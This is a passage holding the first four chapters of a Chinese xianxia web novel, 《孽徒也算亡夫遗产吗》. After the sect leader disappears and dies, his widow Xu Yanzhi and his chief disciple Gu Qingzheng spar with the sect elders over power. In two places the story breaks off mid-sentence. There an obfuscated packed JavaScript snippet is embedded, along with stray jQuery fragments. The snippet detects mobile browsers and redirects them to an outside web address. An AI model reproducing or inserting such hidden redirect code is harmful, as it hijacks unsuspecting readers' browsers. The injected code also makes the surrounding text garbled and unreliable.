《孽徒也算亡夫遗产吗》 1. 第一章 金乌西坠,最后一缕阳光也消失了。 北域太阴峰上,终年不息的雪像是听到了什么指令,呜咽着从天而降滚在风旋里,绕着半山腰那间宫殿无休无止地转动着。 在这样的高山上,雪是暴虐且张狂的。 只是它们也无法穿透一道无形、坚实的屏障,那仙人编织的屏障,像小小的苍穹般扣在一群精致华美的建筑上。 几圈规整的矮房围绕一座宏大的的殿堂。 穿过这座殿堂往后,有一些更为精巧奢华的亭台楼阁,和一个与冰天雪地毫不相干的繁茂花园。 花园中。 徐宴芝独自一人待在铺满了暖玉的水榭中。 水榭温暖如春,而她似乎仍嫌寒冷,披着厚厚的皮毛衣裳,倚在阑干旁,听着远处碎玉般的雪声出神。 她心中总是有事翻来覆去,搅得她在许多夜里无法安眠。 今日尤其。 尤其让徐宴芝难以平复心绪。 沉思许久后,她僵硬地转动着一双眼睛,抬头看向窗外。 月亮爬到最高处时,窗外的风雪也停了一瞬。 苍白的银光不再受那些不饶人的雪的影响,畅快洒在太阴峰上,冰冷冷的,看上一眼,就能冻伤似得。 徐宴芝看了一个激灵,紧了紧身上柔顺华美的皮毛,收回了目光。 “天是越来越不好了……” 她喃喃自语着,似笑非笑地勾起了嘴角,又陷入了沉思。 北域的天的确越来越坏。 第二日一早,太阴峰上的小弟子们从宫殿外头那些矮房中钻了出来,嘴里一边小声地骂着什么,一边跺着脚开始清理昨夜结界不稳时漏下来的雪。 他们还小,都是有天赋,刚能引气的小孩儿,受了掌门的恩赐得以在圣山上修行,一个个都十分勤快,只是到底修为浅薄,并不能自如地用仙法御寒,都哆哆嗦嗦地发着抖。 此时天还没有大亮,那宏伟的殿堂仍旧在沉睡,太阴峰上原本只有小弟子们干活发出的淅淅索索声,直到远处忽然传来了灵舟飞行的破空声。 一艘小巧朴素的灵舟渐渐显现在众人的视线中,轻易地夺走了小弟子们的注意力。 “这么早,德政堂什么事?” “是不是掌门有消息了?” 小弟子们眼尖,灵舟刚刚下落,便认出了上头的印记,三三两两地开始小声议论。 那艘德政堂来的灵舟方才停稳,上头便跳下来一位容貌秀美的仙子。 她沉着脸,快步走着,水蓝色的长裙拖在地上打着旋,不一会儿便消失在小弟子们的视线里。 “是幼琳师姐……” “恐怕是大事……” 张幼琳将小弟子们细碎的议论甩在身后,轻车熟路地敲开宫殿的大门,示意殿中的侍从退下后,独自穿过整座宫殿,来到了后院。 她站定在后院中一间小院前,看着紧闭的门,深吸了一口气,调整了面色。 张幼琳勉强地笑了起来,伸手敲了敲门,凑近轻声道:“夫人,昨夜大雪过后,掌门的灵识……” 她话还未说完,门吱呀一声从里头打开了。 徐宴芝站在院门后,玉一样的面容瞧不出心思,身上一丝不苟的穿着却显出了一点来,她冲外头的张幼琳点头道:“越发微弱起来,是吗?” 张幼琳收了笑,叹气着点头。 “想来长老们是想寻我去一同商讨,不好让他们久等,幼琳,辛苦你亲自来一趟。” 徐宴芝说罢,朝张幼琳略微笑了笑。 北域人大多黑发黑眸,徐宴芝却偏偏生了一对琥珀色的眼睛,眼波流转间有不同寻常的生动,笑起来眼尾又像蓄了一湾蜜,甜丝丝地动人。 这样的颜色,比园中的花团锦簇还要鲜艳。 张幼琳被这笑容晃花了眼,眼神游弋,连连摇头,她口中嗫喏着不要紧,转身给徐宴芝引路。 穿过整座宫殿,两人迎着暗处小弟们好奇的神色,步履匆匆地上了停在宫殿外的那艘灵舟。 因事情紧急,长老们催得紧,张幼琳来之前还被师父瞪了一眼,着急忙慌地催着德政堂外一艘不起眼的灵舟便走,直到此时接到了人,方才来得及多想一想。 这一想便在心中喊了声糟。 徐宴芝与掌门成婚这些年里,哪曾坐过这样简陋的灵舟。 她是掌门放在心尖尖上的人,衣食住行无一不精细,教张幼琳来说,甚至称得上有几分骄奢淫逸了。 除却日常如此外,传闻她天赋不佳,虽说此界修行艰难,但徐宴芝连筑基都全靠仙丹灵药堆砌,强行突破了境界后,修为再难进一步。 这样的宠爱下,张幼琳从未见徐宴芝乘坐过不镶嵌宝石、不前呼后拥的座驾。 掌门不过失踪一月有余,自己便架着这样的灵舟来接她,实在有几分怠慢,徐宴芝会恼吗? 张幼琳越想越不安,转头看了看坐在身后一动不动的掌门夫人。 徐宴芝瞧上去仍旧是瓷器一般精美的模样,只是眼神却有些缥缈,她见张幼琳转头,眨了眨眼,看着她温和道:“怎么?” ——她虽然坐的笔直,不教衣裳有一丝折痕,却一副并不介意灵舟简陋的模样。 此女在门中全部的倚靠下落不明,她不但神情不紧不慢,连衣着都一如既往的得体…… 一大清早便被师父驱使来太阴峰接人,身上套的衣裳不过胡乱抓的,张幼琳无意识地摩挲着因练功而有些磨损的衣袖口,慢慢从心底咂摸出了一丝酸。 只是她的嘴上仍然恭敬:“事情紧急,委屈夫人了。” 那一丝的酸,张幼琳以为自己藏好了。 徐宴芝深深地看了她一眼,轻笑道:“无妨……” 无妨,北域宗门中上下,眼中不经意间流露过不屑的又何止张幼琳一人呢? 徐宴芝脸上仍旧挂着笑,慢慢靠在了这架简陋灵舟上,唯一一张椅子上。 灵舟飞在半空,犹如一叶扁舟航行在大洋中,在风中不断地打着哆嗦,不时还有雪花和着寒风钻进来,贴上徐宴芝没有温度的脸颊,只一会儿功夫,她的指尖便冻得青紫。 昨夜的雪,告示着本就酷寒的北域进入了雪季,天更冷了。 徐宴芝也晓得这只是开始。 从双月当空,鲜红的月光洒满北域,她的丈夫宇文令下山奔赴无尽之崖,一去不返那天起,她已经陷入了一场将她此后人生都卷入的暴风雪中。 一炷香后,张幼琳驾着灵舟到了天枢峰,灵舟落稳后,她先跳下了船,转身伸手给徐宴芝。 徐宴芝摇了摇头,驱使着冻僵的身子,慢慢扶着灵舟走了下来。 她们停在了天枢峰的山顶,这是北域宗门七峰之一。 北域宗门建在溟海旁的群山之上,呈七峰拱月之姿。 七座山峰环绕着、如星子一般拱卫着高耸入云的太阴。 太阴是北域圣山,又是北域仙人们的灵力之源,越往高处灵力便越暴虐,因此即便是宗门之首,也只能将居住的宫殿修建在半山腰上。 但即使在半山腰,也足以俯瞰整个北域宗门。 站在天枢山顶,徐宴芝抬头看了一眼远处的太阴峰,拢了拢身上厚厚的斗篷,默默跟在张幼琳的身后往德政堂中走去。 在这样的时间点, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14772529|157851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她总是思量着很多事。 因此张幼琳忽然停下脚步时,徐宴芝差一点便撞上了这位高挑仙子的后背。 她回过神来,余光中见到了一个身影,正朝着她们走来。 “顾师兄!你竟然回来了!我还道今日你定是回不来呢!”张幼琳说道。 徐宴芝看不到张幼琳的脸,却从她的声音中听出了些许喜悦。这喜悦倒是来的突然,她漫不经心地想着。 而远处顾青峥的声音响起时,徐宴芝的眉毛微微地挑了挑。 “刚刚才回来,原应该我去太阴才是,倒是多谢师妹代劳了。” 顾青峥的话音落下,人已经来到了张幼琳身旁。 这是一个温和的男子,除了长有一张任谁也要赞一声的脸外,他身姿挺拨,比生得高挑的张幼琳还要高出一头。 待他站定后,徐宴芝刚想开口说些什么,忽然天光乍破,绚烂的霞光从云层中挣出,照进她的眼。 她将话咽了回去,半阖上了眼,伸手去遮。 而顾青峥背着光,那分明的好面容藏进了阴影中,恭敬地向她行了一礼。 “师娘。” 他轻声道。 徐宴芝垂着眼眸笑了笑。 她明明有一张与顾青峥年岁相仿的脸,却佯做慈爱地对他道:“这些日子倒是辛苦你了,瞧着都有些憔悴,若是你师父知晓了……” 说着,她忧愁地叹了口气。 对着丈夫的首徒,徐宴芝语气亲热。 只是口气有些太过老成了,这两人走在一处让旁人看,恐怕都说是一双璧人,听说年岁差的也不太大,夫人恐怕只比青峥师兄大上几岁…… 张幼琳注意力都在二人身上,脑中止不住地胡思乱想起来,直到徐宴芝看了她一眼,她才惊觉方才的想法着实冒犯了,连忙止住了念头。 只是片刻后,她忽然又想到,作为北域宗门新一代的佼佼者,掌门最为看重的徒弟,顾青峥这些年经常代替掌门在山下行走,一年中也难得回来几次。 因为如此,徐夫人本就与他关系亲厚,更思念一些,也是说得通的。 或许是察觉到了张幼琳的打量,顾青峥侧了侧身,让晨光洒在半张脸上。 他嘴角带着温和的笑意,略微欠了欠身,一边朝着徐宴芝伸出了手,一边道:“都是徒儿应当做的,师娘何出此言。” 徐宴芝短促地笑了一声,将手放在了顾青峥的臂弯中。 “莫要叫长老们久等。” 徐宴芝自如地任由顾青峥扶着自己,踢了踢裙角,朝着心思几次沉浮的张幼琳笑道。 “嗳,您说的是。”张幼琳赶忙应道。 她收起了脑子里那些僭越的好奇,一溜小跑地走到了前头,想要先行通报一声。 徐宴芝二人走在后头。 天枢峰地势低,相较太阴峰稍微暖和了些,但在简陋灵舟中冻僵了的徐宴芝仍旧难以缓过来,手指不受控制地颤动了一下。 她身旁的顾青峥一言不发,像是并未发觉。 可徐宴芝那只放在顾青峥臂弯上的手却慢慢暖和了起来。 那暖意传到了胳膊,再接着是冻透了的身躯。 他们没有再交谈。 只是在踏上德政堂前的长阶前,徐宴芝漫不经心地抬头看了一眼身边人。 顾青峥是典型的北域人长相,他有一双如墨的眼,在这块土地上,没有会讨厌这样的双眸。 可教徐宴芝来说,这双眼眸像一潭死水,遮掩着主人的千万心思,不教人看穿了去。 谁知道死水下的暗流是如何涌动的呢。 徐宴芝收回了视线。 2. 第二章 北域人过于遵守古礼,北域的一切都十分朴质。 这是此界仙人们之间悄声流传着的对北域的评价,在终年炽热的西边荒漠中,这句话中暗藏着某种讥讽,可北域仙人却毫不在意地将其视为了称赞。 德政堂便是这句称赞的体现,一个再寻常不过的名字,一座与太阴峰半山腰上的华丽殿堂截然不同的朴质宫殿。 此时在这所宫殿的大殿上,依次摆放着八张座椅,上头坐着七位面色各异的当世大能,与一位资质平平的貌美仙子。 这七位大能,只需一眼,就能知晓他们各自身怀神通,只是不知为何,偏偏教那貌美仙子端坐在堂中上首的座位里。 大能们交谈时,她甚至因为他们谁也不肯挑破宗门目前困境,只在言语中藏着刀光剑影,而转头看向了堂中挂着的那副栩栩如生的画像——和画像之下,那盏断断续续亮着的灯。 徐宴芝今日会匆匆来到这里,正是因为那盏灯。 那盏链接着她丈夫神识的显魂灯,在昨夜的大雪后,火苗变得更为细弱,颤颤巍巍,似乎随时都会熄灭的模样。 这意味着他或者愈发虚弱,或者离圣山更远了。 她一动不动地盯着属于宇文令的显魂灯,渐渐地,她的双眸中仿佛也燃烧着一簇焰火。 “夫人意下如何?” 七位长老自坐下起,便打了许久的机锋,只是他们仍旧没有达成半点共识,这时,张幼琳的师父——掌管天枢峰德政堂的长老李能意——突然地转头看向徐宴芝,忧心道。 徐宴芝一怔,缓缓将视线转回来,看着李能意。 一时间,堂中争论得热火朝天的长老们都停了下来,连同他们身后的徒儿们,十几双眼睛一齐意味不明地看向了徐宴芝。 她的游离太过明显,显然引起了有心人的不满。 这当然不是一次友善地提问,站在徐宴芝身后的顾青峥见状,稍稍俯下了身子,凑在她耳边耳语道:“方才长老们说道……” 他还未说完,徐宴芝举手制止了他。 “长老们方才说了什么,我觉得并不重要,我想诸位长老也并不想从我这儿得到什么真知灼见。”徐宴芝坐得更直了一些,她的身子向前倾,显露了一些一直掩藏在内里的锋芒,“关于今日之事,我再将我前些日子说了无数次的话说一遍。” 她说着,兀自站了起来,看向堂中画像。 画像中那位仙人,形容严肃,身着玄色长袍,即使只在纸上,也油然生出了无形的威压。 徐宴芝望着画中人,眼中闪烁着细碎的光,她轻声道:“我的一切都是掌门所赐,大恩难忘,只求诸位长老能找到他的下落,其余所有,等掌门归位再谈。” 她越说,坐在她身旁的李能意嘴唇抿得越紧,待到徐宴芝低头看向他,问道:“李长老,您说呢?” 李能意又笑了起来。 他慢慢抬起了眉头,意味深长道:“并非我们不愿去寻,只是无尽之崖且深且远,周边仙人能踏入的地方都被翻了个底朝天,徐夫人,我还是想知道,掌门下山那日,当真并未对你交代旁的?” 李能意讲完,堂中十余双眼睛,又一齐看向了徐宴芝。 十余双北域人黑洞洞的眸子,带着审视、轻蔑、怀疑等等黑洞洞的恶意,试图将苍白耀目的徐宴芝拉进漆黑里。 迎着这些恶意,她身子一动未动,只转头看向了站在她身后的顾青峥。 “这些话,掌门下山那日我便说过了,后来提过几次,若是诸位不信,那——” 徐宴芝看着顾青峥那双如出一辙、毫无波澜的眼眸,静静说道:“青峥是最清楚不过了……” 最为靠近此界之巅的太阴峰上,也最能看见两个月亮的轨迹。银月夜升朝落,日复一日地从夜空中划过,带来此界灵力的潮汐波动。 而红月却总是忽然出现,或者一月一次,或者数月一次,猩红的月光洒向大地时,地上的生灵都陷入无法抑制的灵力震荡,一切都几乎陷入停摆,唯有无尽之崖中的业鬼会听从红月的呼唤,尖啸着、欢呼着来到地上,意图撕碎每一个它们能嗅到的活物。 业鬼肆虐,将民不聊生,凡人为此向仙人们献上一切,祈求仙人下山除鬼。 月余前那一次双月当空,天璇峰询天阁在更早时便断定,将引发五百年难遇的业鬼潮。 谶言一出,宗门上下皆哗然,掌门宇文令见状出言,要亲自带领门中精锐弟子下山除鬼。 那一日。 宗门精锐齐聚天枢峰,恢弘浩荡地铺满了大殿前的广场,他们手持各自的本命法宝,仰头注视着大殿上的宇文令。 在宗门精锐弟子的面前,宇文令先做了鼓舞气势的演讲,接着伸出右手,示意热血沸腾的弟子们安静,然后他看向了身后。 迎着丈夫的目光,徐宴芝从阴影中走了出来,为他整理好衣襟,冲他微微一笑。 做完这些,她退回了原来的位置,目送着宇文令身披鳞甲,腰挎长剑,走下了殿前的长阶。 只是半途,宇文令当着一众宗门长老弟子的面,又折返了回来。 背后是北域众仙人的探究目光,宇文令好似全然不在意。 他只是深深地看着徐宴芝,略微欠身,凑近了她的耳边悄声说了句什么。 仙人们当时只看到,听见丈夫的话,徐宴芝有些讶异,微微张了张嘴。 宇文令却不再停留,又转身走下了长阶。 北域仙人下山后,因为远离圣山,修为都跌落许多,见业鬼果然如同询天阁的谶言一般强大,有甚者,竟连宇文令都要与之缠斗,更要门中弟子结阵相助。 因此,山下的宇文令言行举止都被弟子们看在眼里,并无半点疑点,直到下山除鬼的第三个夜晚,他莫名消失。 而如今回想起来,只有当时他回头对徐宴芝说的那句话,显得格外地微妙。在掌门不知所踪的今日,不管徐宴芝说什么,仙人们都能表示怀疑。 可—— “青峥最清楚不过了……” 徐宴芝目光灼灼地看着顾青峥。 众人的目光也看向了他。 是了,如果有第三个人知晓,那便只能是顾青峥了。 作为宇文令的首徒,他也跟着师父折返上长阶,站在从上往下数的第三级台阶上,默默地看着师父的动作。 当时的顾青峥背对着众仙人,将殿前二人的言行举止全数瞧进了眼中。 若是足够留神,想来也能听得清吧。 徐宴芝将殿中十余双视线引到了顾青峥身上。 李能意挑了挑眉,盯着面色不变的掌门爱徒开口道: “青峥,徐夫人说——” “确如师娘之前所言,当时师父不过说了些体己话。” 顾青峥从容答道。 “为何先前你不曾言明?” “尊卑有别,何况弟子并不觉当时的谈话有何问题。” 顾青峥说得滴水不漏,从头到尾,连嘴角上扬的弧度都不曾改变。 听完这番话,殿中沉默了下来。 长老们收回了视线,意兴阑珊地将身子往后一靠,彼此都在心中暗自盘算。 徐宴芝也跟着坐了下来,她见众人这般,开口道:“若是诸位没有意见,当务之急还是下山寻找掌门,就仍旧交由青峥去做吧。” 此言一出,在场众人皆有些吃惊。 自从宇文令不知所踪,作为首徒的顾青峥已经在山下不休不眠地寻找到如今,说来他确实理应如此,只是若是掌门当真再也回不来,这下一任掌门之位…… 北域如今有七位长老,除却天枢峰李能意与摇光峰牧杨修为已在入虚境,其余五位长老均为成元后期,都已是此界顶尖大能。 只是即便如此,受门规所限,他们也早已失去了染指掌门之位的资格。 群龙不可无首,宇文令若是殒身在无尽之崖,顾青峥便是最为有可能的下一任掌门之选,当留在山上静候才是,在这样紧要的关头,徐宴芝遣他下山天南地北地去寻找宇文令,让他远离圣山与权力,究竟意图为何? 众长老又回忆起来方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14772530|157851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才这二人一块儿走进来的模样。 徐宴芝嘴角含笑,走在前头,顾青峥姿态恭敬,落后了师娘一步,端的是一副母慈子孝的场景,瞧不出二人之间是否有甚罅隙。 李能意看了顾青峥一眼,有心想要说些什么,临了到头又咽了回去。 他身前的徐宴芝正笑盈盈地看着他,右手食指有一搭没一搭地轻点着座椅扶手,仿佛正等着李能意,看他能说出些什么高见来。 他还能说什么呢! 李能意自入门修仙以来,便只屈居宇文令之下,不论是修为还是权柄,他都是北域第二人,他可从未想过有一天,自己竟然要与一个只有筑基修为的仙子平起平坐,甚至隐隐还落了下风。 要怪只能怪他那师兄宇文令,色令智昏,竟然将掌门密令赐给了道侣,教这出生三流仙家的徐家旁系狐假虎威,捏着圣山威能,成了半个掌门,爬到了七位长老的头上! 想到这儿,李能意更是一阵恼火。 历代掌门都将这枚令牌教给了自己最为信任之人,他且不论宇文令最为信任为何不是自己,历代掌门都活到了持令之人身死,怎么偏偏在宇文令这里出了岔子? 像是知晓了李能意心中所想,在众人眼前,徐宴芝轻轻敲击扶手的那只手,开始有微光闪烁。 她看向自己的手心,慢慢握紧了拳。 她的手指纤长白皙,瞧上去是最柔弱无力的模样,可一阵与圣山相连的灵力,却从这只无力的、羸弱的手中涌出,朝着四周荡漾开,往在座大能如溟海般浩瀚的灵力中留下了一圈又一圈波澜。 见殿中众人皆沉默了下来,徐宴芝松开了手。 “掌门给予我的重任,徐某不敢忘,也请诸位莫忘。”她那琥珀色的眼眸一个一个扫过在场的仙人,眼波流转间,或者也夹杂了几许森然。 “便按徐夫人说的办,时候也不早了,今日便到这儿吧。” 在徐宴芝与李能意暗中较劲时,场上也有长老丝毫不在意,不耐烦地扬声说道。 开口的是天机峰周云子,自入门起便跟着师父在山上侍弄灵物,只爱她山中那些不讲话的灵植灵药,从不耐烦与人打交道,今日让她枯坐着听了这一场,已是难得的事,眼见几人还有要耗下去的架势,连忙出声要走。 李能意乜了一眼这位从来木讷的师妹,叹息着站起身来,朝着徐宴芝点了点头后,一言不发地抬脚朝门外走去。 站在他身后的张幼琳连忙向徐宴芝行了礼,小跑着跟了上去。 余下几位长老见状,纷纷站起身,一一与徐宴芝见礼后,带着徒弟鱼贯地走出了大殿。 一时间,十几位仙人陆续离开了大殿,三丈高的殿中只剩下了徐宴芝与顾青峥。 两人此时独处,让徐宴芝生出了怪异的情绪。 “在山下待了一个月,方才回来,便又让你走,确实有些难为你了,只是到底是你师父,这门中上下,除了你还有谁能如此尽心呢?”她看着远处,对身后的顾青峥安抚道。 “应当该是徒儿的事,有何为难?” 顾青峥语气平和,一如往常,就好像令他前往无尽之崖附近寻找师父是一件再简单不过的日常差事,听不出丝毫不满。 他一贯是滴水不漏的。 顾青峥的话尚在徐宴芝的意料内,令她有些不适的地方在于,他似乎站得太近了,言语间的气息似乎都吹到了徐宴芝的脖颈上…… 一阵短暂的战栗爬过了徐宴芝的身躯,她微微吐了一口气,放下紧绷的肩,回头想要与顾青峥说些什么。 刹那间,她的视线无意识地掠过了悬挂在殿中的那幅画——和画下那盏显魂灯。 徐宴芝忽然愣在了原地,忘了自己要做些什么。 见她如此,顾青峥也随着她的视线向后看去。 他的身形先是一顿,旋即下意识地抬手握住了腰间的本命长剑。 “去把长老们都叫回来。” 徐宴芝一字一顿说道。 她的眼睛里倒映着熄灭的显魂灯,颤抖着用力握紧了右手。 3. 第三章 “为何……” “那时候,你为何要那样做……” 一张面目模糊的脸悬在徐宴芝的面前,含糊不清地不断发问。 她虽然并不畏惧这张脸,却因为被禁锢在一团炽热里,身子绵软无力,连偏一偏头都办不到,只能被迫与它相对。 缺失了五官,只能从喉舌深处发出尖细的声音,脸一动不动地‘看’着她,不断重复着简单的几句话,试图得到一些答案。 一遍又遍的问,可怜地问、恼怒地问、哀伤地问。 这张没有威胁的脸,让徐宴芝不自禁地颤抖起来。 她的五感被黑暗中不存在的恶物吞噬,巨大的负面情绪如同翻涌的熔岩一般环绕上来。 脸想要的答案,徐宴芝觉得她应该知道。 只是她宁可忍受,也不愿回答。 等了许久也没有等到,它失落起来,嘴里嘟囔着什么,慢慢将头颅搁在徐宴芝的胸前,像孩童般蜷缩着,试图从她身上汲取到一丝温暖。 多么熟悉啊,可这不是真的。 徐宴芝的身躯猛地抽搐了一下,抓住她的意识,带着她重新回到了现实。 她睁开了眼,大口喘着气,四体百骸同时传来阵阵麻痹感,随后背脊处忽然再次一抽,疼痛代替了麻痹,占领了徐宴芝。 她痛得攥紧了拳,却又松了一口气。 这是她熟悉的滋味,至少她又重新获得了对身体的控制。 徐宴芝醒在自己的屋子里。 宇文令不来寻她时,她更喜欢睡在后院这间窄小的厢房内,这里简简单单放了一张床,一张桌,一把椅,只要抬眼就能看个清楚。 好不容易从噩梦中挣扎出来的现在,逼仄的屋子也让徐宴芝重获了安全感,她喘息着擦掉了额上沁出细密的汗,扬起重重帷幔,抬头看了看窗外。 昨夜又是一夜雪,只是太阴殿上空有法阵,后院里干干净净,仍旧一片绚丽,娇艳的灵植盛放着,刚刚被晨曦染上了金边。 看来天色还早。 徐宴芝缓了一会儿,从温暖的被子里挣扎着坐了起来。 床头的香炉中还剩半截残香,她勉强伸手点燃了,又轻轻扇了扇,浓烈刺鼻的香气在空中逸散开,徐宴芝发着抖,俯身深深吸了一口气。 一股辛辣气息钻进了她的体内,徐徐在里游动。 折磨人的痛楚被渐渐抚平,徐宴芝捂着胸口,在床边枯坐了一会儿,慢慢恢复了平静。 她伸手将滑落到胸前的衣裳拉好,听着外头越来越近的脚步声,回忆起噩梦中那张脸。 好久了,恐怕已经有十多年不曾再梦见了。 外头的脚步声停在门前,小弟子的声音响起:“夫人,到时候了。” 那样久远的事,她以为自己早已放下。 徐宴芝清了清嗓子,应道:“知道了。” 她站起身,看着入睡前选定的那一身白衣。 今日是徐宴芝的丈夫死去的第二天,出了这间屋子,外头还有无穷无尽的磨难等着她呢。 穿戴整齐,徐宴芝推开门,朝门口等候的小弟子点了点头,往太阴殿外走去。 宇文令显魂灯熄灭后,宗门上下敲钟半刻,宣告了此事。 这是近千年来最为灾难的一次双月当空,也造成了最为惨重的一次损失,让北域众仙人在宇文令失踪后做的一切明里暗里的交锋都失去了价值。 可仙人离开圣山修为一定会跌落,业鬼凶恶残忍,每回仙人下山除鬼都会折损,这次倒霉透顶折损了掌门,北域也只能接受这个现实。 如此,太阴殿暂时失去了主人,若按照凡人规矩来说,少说也要在此做上七日法事。 只是宇文令并非凡人,他的身后事可麻烦多了。 其一,太阴殿只为掌门住所,此前从未有过举办祭典的前例,一概事宜都要移步天枢峰德政堂。 其二,既然是宗门之首身死道消,此界其余大小宗门自然也要遣使者前来吊唁,如何去信、如何招待使者也是一桩难事。 最后,也是今日让小弟子们偷偷多看了徐宴芝几眼的原因: 宇文令死了,谁会是下一任掌门? 在下一任掌门就任前,偌大北域宗门谁说了算? 穿过后花园,徐宴芝刚挥手示意侧门内几位腰弯得极低的小弟子莫要多礼,抬眼便看见了等在门外的顾青峥。 他既然回了山上,自然也住在太阴峰上,候着徐宴芝一块儿出发也是应该的。 她的脚步却一顿。 门外的顾青峥不知等了多久,正颔首出神,忽然听到门里动静,与徐宴芝对上了视线。 徐宴芝未施粉黛,顾青峥换下了玄玉发冠。 但他们皆穿了一身白。 门内外的小弟子们各个低着头,视线却游离不定,一时看向徐宴芝,一时看向顾青峥。 若是能听到他们的心声,此处一定回荡着无数的疑问。 宇文令的妻子与首徒,谁才能赢得他的遗产呢? 眼见那二人相视一笑,渐渐走远,一同登上了一架奢华的灵舟,离开了太阴峰,一位小弟子连忙直起了身子,戳了戳身旁的同伴道:“嗳嗳,按照门中法规,徐夫人可成不了掌门,她不过暂且替掌门代管门中庶务罢了,我说到底还是要看顾师兄。” 他那同伴嘁了一声,将声音压得极低:“听闻徐夫人与顾师兄突然地不对付了,昨日还想将他赶下山去,我瞧着不一定,说不定夫人想要扶持旁的师兄师姐。” 昨日殿中明明只有十余人在场,徐宴芝的一句话却已经传到了小弟子的耳中。 提起话茬那位小弟子也不惊讶,只是嘶了一声,疑道:“顾师兄还要喊徐夫人一声师娘,上任后定不会亏待她,可若是换了旁的师兄师姐做掌门……这对夫人有何好处呢?” 是啊,这对徐宴芝有何好处呢? 坐在她一贯乘坐的灵舟上,徐宴芝身上搭着厚厚的银狐皮毛,与顾青峥分坐两头。 她修为浅薄,昨夜噩梦连连,此时就有些精力不济,只得抓紧了合上眼,勉强歇一歇。 另一头的顾青峥见她如此,一路上都不曾开口。 奢华的灵舟虽然里头暖洋洋的,却笨重且飞得缓慢,他们花费了比昨日更多的时间才达到天枢峰,等灵舟停稳时,顾青峥先下了船,他伸手给徐宴芝,接了她一把—— 随后又拂过她的脸颊,从她肩上轻轻摘走了一朵小小的白花。 “寒来花。” 顾青峥手心托着不起眼的白花给徐宴芝看。 他低头看着手中花时,薄薄的眼皮上有若隐若现几丝青色的血管,眼尾向上飞着,重睑窄窄一片,与寒来花一般脆弱的模样。 想来是在经过花园时沾上的。 徐宴芝看向顾青峥的手心,漫不经心伸出手指捻过寒来花举在眼前,叹道:“野花真是命贱,竟然能在太阴峰上活下来。” 顾青峥笑了笑,笑意只停留在嘴角。 他看着身旁女子随手碾碎了那朵小花,轻声道:“您说的不好听,或许是命硬呢。” “这样轻易便碎了,算什么命硬?” 徐宴芝挥了挥手,率先朝着德政堂走去。 顾青峥定定地看了一会儿飞落的寒来花碎,脸上那抹原本就 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师娘在该如何,闵道一也没说明白,只是看向顾青峥的眼神有些古怪。 顾青峥等他收了汗,才慢吞吞地说道:“师父既然仙去,师娘便与师父一般,你平日与她相处的一向很好,此时又何须多礼,反倒显得她不慈,这不是做小辈的道理。” 说着,他终于是露出沉痛的神情,想来是思及恩师宇文令的缘故。 “师兄教训的是。”闵道一喏喏应了,低下头一阵咳嗽。 顾青峥看不清他的神色,只得问了几句他的伤,又见周围不时有灵舟降落,各峰弟子们都陆续地到了,也不便多言,拉着师弟便往灵堂走去。 徐宴芝并不晓得她身后两位徒弟这一番言语。 她站在丈夫的灵堂外,踟蹰不前。 一日过去,德政堂正殿模样大变,原本就庄严肃穆,此时更添了几分悲切。 宇文令的画像依旧悬在堂中,画中的他板着一张脸,看不出年龄,看得出一丝桀骜。 徐宴芝看着那幅画,一时间竟然定住了。 殿中一片素白,画像下头显魂灯的位置被牌位所替代,一具通体漆黑的玄玉灵柩停在殿中。 灵柩是空的,里头只有徐宴芝亲手放进去的、宇文令从前戴过的一枚玉佩。 修行之路艰难无比,仙人身死道消,肉身化为灵力回到圣山,不会再在此界留下任何痕迹,他们与天挣命,连神魂都化作了力量,也无法如同凡人一般转世。 死了,就是彻底地从这个世界上消失了。 徐宴芝站在外门太久了,灵堂中的弟子们忙碌着、手中动作着,眼睛都悄悄地看向了门前。 众目睽睽下,遽然之间。 苍白到透明的徐宴芝弯下了身子,用双手捂住了脸。 她颤抖着、抑制不住地发出了啜泣声。 本就安静的灵堂中更是鸦雀无声,弟子们收回了视线,缩着脖子,连大气都不敢出。 堂中只剩她的声音在回荡。 一直到身后的顾青峥上前,将一方手巾递给了徐宴芝。 她接过后用力捂住了脸,又缓了好一阵,这才站直了身子,放下了手。 众人只见到了徐宴芝通红的双眼。 只有她身旁的顾青峥看到了。 他递过去的那方手巾,被他的师娘紧紧握在了手中,她看起来明明那样痛苦,手中青色的布料却没有沾上一丝泪痕。 或者,换个说法。 她方才真的在哭吗? 4. 第四章 见了徐宴芝在宇文令灵前的举止,在场者无不唏嘘。 此时离祭典开始还有一段时间,因情难自已,徐宴芝在顾青峥的劝说下同意暂且去偏殿歇一歇,待到询天阁的人将要开始祭祀了,再请她过来。 她一走,即便不敢在肃穆的灵堂上交头接耳,相熟的弟子们还是彼此悄悄使了眼色。 一个三流仙家的旁系仙子,如今暂时成为了北域的无冕之王,北域之中关于她的流言一直有很多。 有阴谋论说,徐家为了往上走一步,密谋了几代人,终于出了一个徐宴芝这样的好容貌,对上了宇文令的喜好,连带着将整个徐家都往上提了一提。 也有往香艳轶事上靠的,说是徐宴芝此女,不仅是北域难得一见的美人,更难得的是身有异香,使人闻之狂性大发,连入虚境的大能也无法抵抗,她便是因此爬上了宇文令的床。 这些言之凿凿的话,若是叫那些七八十年前已经入门的内门弟子听了,都能得来几声笑。 真正与徐宴芝打过交道的人都知道,她不单单长了一张美艳的脸。 能在几十年间逐渐赢得宇文令的信任,慢慢插手了门中上下庶务,今年甚至还拿到了掌门密令,怎么也说不上是浅薄之人。 并且她与宇文令的相识,有心人仔细回想后,即便再对她有偏见,也不得不承认那是一场巧合。 